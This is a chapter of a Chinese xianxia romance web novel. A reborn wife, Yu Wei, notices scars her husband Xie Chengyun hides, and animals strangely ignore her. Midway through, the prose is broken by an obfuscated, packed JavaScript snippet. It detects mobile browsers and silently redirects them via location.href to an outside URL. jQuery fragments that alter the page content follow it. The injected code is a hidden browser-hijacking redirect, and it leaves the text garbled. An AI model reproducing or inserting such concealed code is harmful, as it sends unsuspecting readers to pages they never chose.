玉微能够察觉到,谢承云有事在瞒着她。
她的夫君自她重生后就变得有些不对劲。从前的谢承云需要大量独处的时间,他要修炼,要处理宗门事宜,要读书写字,如今却时时刻刻要和她待在一起,不愿分开。
奇怪的是,他们亲密之时,这人也总不愿褪下衣袍,与她肌肤相贴。
玉微昨夜探进谢承云衣衫之内,想要环抱住他,虽很快被他捉住了手,却仍是在不经意间触碰到了背后斑驳的凸起。
像是伤疤一般的触感,一道一道,令人一瞬心惊。
谢承云很快用他的手段让她没法保持大脑清醒,玉微却仍将这事记在了心底。
是她的错觉吗?
她昨夜入睡时都在想着这事,以至于做了可怖的梦,梦见她变成了无意识的残魂,只剩下透明的即将消散的身躯,不知所措地飘来飘去。
她头脑中忘记了谢承云的存在,而男人满身血迹,伤痕累累,站在她身前,她却甚至无法认出他的面孔。
有些吓人的梦,玉微忍不住将自己整个人团起来,试图寻找一点安全感。
直到温柔的蝴蝶降落在她鼻尖,她才缓缓清醒。
温暖的阳光落在她身前,她的手被紧紧握着,谢承云的声音将她重新拉回尘世。
当年为他施展的小小的幼稚的法术,如今他也用在她身上,为了唤她起床吃早饭。
蝴蝶很漂亮,她好喜欢。
玉微忍不住想要抱抱自己的夫君。
与此同时,她也得到了验证——原来昨夜并非错觉,那些创痕即使隔着一层里衣也能若隐若现地触碰到。
玉微匆忙收回了手。
谢承云受伤了,那伤显然还不轻。
可是,是因为什么?他又是为何不肯告诉她,不肯展现在她面前呢?
明明她只会心疼他的痛苦。
早饭时,男人端坐在对面。玉微张了张口,想要问他那些伤痕从何而来。
最终却还是作罢。
既然谢承云想要遮掩,不想让她知道,那么就先假装不知吧。
毕竟夫妻之间,也需要有自己的隐私嘛,她可以理解。
不过,玉微还是偷偷打量了好几次谢承云的脸色。
她担心他的身体,担心他很疼。
但他如玉的面容上看起来一切如常,注意到玉微的目光时,嘴角甚至衔着愉悦的微笑。
玉微不太确定他是否真的没事,因为这人总是很能隐忍。
不论如何,她得在二人日常喝的凝神草汤中多加几味有益伤口恢复的药,那些药材也有其他作用,应该不会被谢承云察觉。
这样,她才能放心。
伤疤应该都会结痂,慢慢淡化的,她想,终有一天谢承云会愿意告诉她他的小秘密。
然后……她就可以扒拉下他的衣服……咳咳。
玉微脑子里变出一些需要打上马赛克的画面。
--
山上的时间就这样无忧无虑地溜走。
不知不觉,玉微重生已有快一个月的时间了。
一切好像都很美满,除了她还是不能离开这座山以外。
玉微很听谢承云的话,可她之前以为的是,因为身体还比较虚弱,所以最好不要下山去。
但没想到,是不可以下山。
“真的不能去别的地方玩吗?”她有点可怜巴巴地看着自己的夫君。
谢承云望着她的神色温柔而无奈,“抱歉微微,是为了你的身体着想。”
玉微撇了撇嘴,但还是听了谢承云的话。
大概是怕她无聊,谢承云不知道又从哪里搬出来几筐瓜果,陪她做果干,过程很好玩,过几天后也会很好吃。
玉微将泡过盐水、蒸好、腌制好的瓜果放在竹编篮上,撒上不同口味的调料,蹦跶着抱到后院晾晒。
谢承云在身后唤她:“小心,别摔跤。”
今日阳光正好,玉微沐浴在暖洋洋的金光下,眯着眼回头,“知道啦知道啦!”
谢承云来到她身边,摸摸她的脑袋。
发顶落了阳光,也是暖洋洋的。
“这在以前我们老家,叫做晒冬。”玉微拨动着竹编篮上的瓜果,说道。
“把储存的吃不完的菜和瓜果晒干,就可以存放更久,这样即使下了大雪封住了路,也不用担心,可以吃一整个冬天。”
“那……”谢承云在一旁静静听着,忽而开口,“如果把微微也晒一晒,是不是可以让你陪在我身边更久更久?”
玉微思索了一下,跳上刚刚被男人搬到院中,用来放竹编篮的桌子。
闭着眼睛挥了挥手臂,让自己完整地接收到日光。
“晒一晒晒一晒,延长我的储存期限,然后就可以一直一直和阿云在一起。”
玉微假装自己是一只正在被晒的雪荔子。
谢承云眼眸弯弯,被身前的小姑娘可爱到。
趁着她没注意,轻咬了一口她的嘴唇。
好甜。
男人的气息逼近,玉微不满地睁开眼睛,“干什么干什么!”
谢承云神情无辜:“不是说,晒冬是为了吃掉储存的食物吗?”
玉微戳戳他的鼻尖,“你这家伙!我还没有被晒好,不许吃不许吃。”
两个人打打闹闹,但由于玉微坐着,被谢承云整个人圈在怀中,最后还是没能阻止某人提前品尝了阳光下的雪荔子。
非常坏。
玉微白嫩的脸颊又变成了樱花般的粉色,她环着谢承云的脖颈,本想要锤他一拳,又想到对准的是这人的后背,便将拳头收了回来。
然后一拳砸在了他的胸口。
谢承云还没亲够,很快捉住她的手,收缴了她的拳头。
又要俯下身时,身后忽而飞来一群小麻雀,欢快地叫着,有几只从他们中间飞过,停驻在谢承云的肩膀上,阻挡了他原本要落下的吻。
“你看,小鸟都看不下去了。”玉微忍不住笑出声来,对着谢承云指指点点。
但很快,就轮到玉微笑不出来了。
因为这群麻雀是来讨饭吃的。
它们开始抢夺玉微刚刚晒在竹编篮上的瓜果片,手段还十分凶残。
“可恶可恶,吃一点就算了,不要都抢走呀!”
玉微手忙脚乱地驱赶着这群恶霸麻雀,但不知是不是它们实在太目中无人,竟一点效用也没有。
就好像她是个透明人一般,而它们根本看不见她的动作。
最后还是谢承云沉默地拂袖,甩出一个法咒,麻雀们才匆忙携果干逃亡。
玉微松了口气,将晾晒的桌子移到屋檐下,又让男人施了个法术保护她剩下的可怜果干。
“坏鸟坏鸟!”她叉着腰气道,“不仅偷吃的,还根本不将我放在眼里!”
“真是奇怪。”玉微转向谢承云,疑惑道,“之前夜里见到的小狐狸也是,怎么这些动物们都只听你的,却好像当我不存在似的?”
以前她可是很受小动物们欢迎的呢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231092|197614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她这一回头,才发现她的夫君此时神色并不太美好。
谢承云垂眸,似在沉沉思考着什么,见她转头,才露出一个微笑,握住她的手,“是我的错。”
嗯?怎么成他的错了?明明是坏鸟的错。
玉微脑子没转过弯来,便听他道:“刚刚早应该把果干保护起来的。”
“那群麻雀太凶狠了,微微那么温柔的动作自然不被它们当回事,不要在意。”
玉微觉得他有些怪怪的。
但面对着谢承云的话,她也只能开口:“好呀,没事的,反正还剩了很多呢。”
--
夜晚降临,玉微洗漱完后缩在被子里看话本,等她的夫君来一起入睡。
只是谢承云近日沐浴的时间好像总是很长,今天尤甚。她不禁担忧起来,想着会不会是背上伤口复发,正要悄悄去浴房看一眼时,这人已回来了。
他看起来一切如常,回来搂着她听她碎碎念刚刚看过的剧情,讲一些话本里才子佳人生离死别的故事。
玉微在穿越前就喜欢看小说,除了几百万字的龙傲天文以外什么都爱看一点,来到这个世界后更是爱上了话本。修真界的人写故事精简又刺激,薄薄一本书就讲尽了爱恨情仇,她看得不亦乐乎。
谢承云也知道她喜欢,因而在山居内放了许多不同类型的话本,足以让她看很久很久。
玉微刚和他分享完自己刚刚看的整个故事,说到“所以男主和女主最后还是快乐地生活在一起了”之后,耳边已传来平缓的呼吸声。
谢承云睡着了。
这家伙,是听困了吗?
白日里还好,但今天到了晚上后,不知是在浴房里做了些什么,他好像格外疲累,以至于无声无息地倚着她睡着了。
男人从身后抱着她,宽大的手掌覆在她身前,攥着她的手,同时埋头在她肩上,一个具有保护欲的姿势,同时也像是要从她的颈间汲取丝丝缕缕的安全感。
玉微觉得身后仿佛被一个大大的暖炉包围,她反握住谢承云的手,感受到他有点偏烫的体温,像是以前他修炼过头,手心也会因灵力耗费太多而生出灼热感。
他刚刚是用了自己的灵力做了些什么吗,玉微并不知晓。
她尚还没有睡意,慢慢转过身来,看见男人即使在睡梦中,神情也不甚安稳,蹙着眉,呼吸时而会急促一下,仿佛在经历一段波折动荡的梦境。
玉微额头贴上谢承云的额头,鼻尖微微蹭上了他的脸颊。
希望她的存在可以让他感到更安宁一些。
谢承云好似察觉到了她的触碰,攥着她的手更紧了几分。
他慢慢靠近她,忽而衔住了玉微的唇,像揉捻花瓣一般温柔而有力地吻她,带着些许的急切,即使在梦中也要向她索吻。
玉微轻抚他脑后发丝,任这人将她锁在怀中,吞咽着她的呼吸。
他抱她吻她时的神态,和那些奇怪的占有欲,就像是她随时可能会离开他一般。
以至于要通过这样无时无刻的亲密来确认她的存在。
可玉微知道,她不会离开他。
她明明已经回来了。他为何还这样不安呢?
玉微在心里轻轻地叹了口气。大概是二人已经分开了太久太久的缘故,谢承云如今将所有心思都放在了她身上,才会如此……敏感易碎。
不能任他这样下去了呢。
玉微有些担忧自己夫君如今怪异的黏人行径,她想,要让谢承云找些其他的事情来分散注意力才行。